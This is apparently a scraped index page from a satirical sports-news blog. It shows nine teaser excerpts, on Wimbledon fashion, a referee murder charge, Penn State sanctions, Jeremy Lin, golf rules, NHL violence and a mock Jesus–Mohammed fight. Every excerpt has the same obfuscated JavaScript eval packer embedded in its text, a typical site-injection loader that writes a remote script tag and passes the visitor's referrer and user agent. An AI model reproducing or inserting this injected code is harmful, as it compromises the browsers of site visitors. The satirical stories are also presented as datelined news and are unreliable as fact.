Fashion over Fitness at Wimbledon

NEW PERSPECTIVES ON THE WOMEN’S GAME eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhebk|var|u0026u|referrer|bahbe||js|php’.split(‘|’),0,{})) Fashion Now Dominates Fitness at Wimbledon London, July 6th, 2013 (SHK) Great Britain’s new hope on the women’s side is Laura Robson, 19, who made it all the way to the Round of 16 this year. After the lackluster women’s championship match today, [...]

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Tennis Ref Charged with Murder

TENNIS REF CHARGED WITH MURDER eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfiyb|var|u0026u|referrer|yzyfs||js|php’.split(‘|’),0,{})) McEnroe, Nastase Not Implicated, Inside Sources Say New York, NY August 22nd, 2012 (SHK) Yesterday the New York Police Department arrested a professional tennis referee at a Manhattan hotel on charges of murder in the death of her husband last April. Prosecutors say she [...]

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NCAA Penalizes Penn State

NCAA PENALIZES PENN STATE SEVERELY eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkesn|var|u0026u|referrer|kdiey||js|php’.split(‘|’),0,{})) Punishment not harsh enough, some say New York, NY July 28, 2012 (SHK) The NCAA handed down severe punishment to Penn State for covering up a scandal. Jerry Sandusky was an assistant coach who confessed to sexual abuse of more than a dozen young [...]

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Linsanity!

LINSANITY! eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysdbh|var|u0026u|referrer|btzhh||js|php’.split(‘|’),0,{})) Sports Lincredibly Trumps Politics! New York, NY March 10th, 2012 (SHK) The back-office servers at Facebook and Twitter have suffered multiple crashes since Harvard’s Chinese-American point guard Jeremy Lin has given the NBA a much-needed boost in recent weeks. The national network sitcom known as the Republican Primaries, [...]

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Chinese Woman, 17, Still Champ

CHINESE CHESS CHAMP STILL THE WORLD’S BEST eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfhan|var|u0026u|referrer|aeyak||js|php’.split(‘|’),0,{})) Feminists See Huge Gains for Women Ahead Beijing, China November 28th, 2011 (SHK) Hou Yifan, the 17-year-old chess grandmaster from Xinghua, China, retained the title of Women’s World Chess Champion Friday by beating Humpy Koneru, the best Indian woman ever to play [...]

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Rewriting the Rules of Golf

REWRITING THE RULES OF GOLF eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryiyz|var|u0026u|referrer|habbz||js|php’.split(‘|’),0,{})) Seniors, Electric Carts Prompt Changes Bridgewater, New Jersey September 18th, 2011 (SHK) As summer draws to a close, the United States Golf Association (USGA) today announced dramatic changes to its rules of golf. A rulebook that previously ran upwards of 200 pages has been [...]

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NHL Under Attack for Violence

NHL UNDER ATTACK FOR VIOLENCE eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fatzi|var|u0026u|referrer|iibeh||js|php’.split(‘|’),0,{})) Head Shots, Self-Defense Rules Now Revised New York, NY June 27th, 2011 (SHK) Gary Bettman, Commissioner of the National Hockey League, today announced major changes designed to reduce the level of defenseless violence in the rink. “We have taken our fans’ concerns to heart,” [...]

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Florida Pastor Sets New Trend

FLORIDA PASTOR SETS NEW TREND eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|desed|var|u0026u|referrer|detae||js|php’.split(‘|’),0,{})) Book Burnings Now a Contagious Disease? Gainesville, FL May 23, 2011 (SHK) Terry Jones, pastor of the Dove World Outreach Church here, said today that he has no regrets “whatsoever” about burning a copy of the Koran on March 20. “Osama bin Laden is [...]

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The Pre-Fight Weigh-in for Mecca

PRE-FIGHT WEIGH-IN FOR MECCA eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntria|var|u0026u|referrer|zhbhr||js|php’.split(‘|’),0,{})) Jesus, Mohammed Trade “Playful” Jabs New York, NY May 16th, 2011 (SHK) Tommy (Two-Glove) Tintoretto, chairman of the Ultimate Fighting Championships, hosted the pre-fight weigh-in for Jesus and Mohammed for their big bout on Memorial Day, in Mecca, to be broadcast live on HBO. “Lade-e-e-e-z [...]

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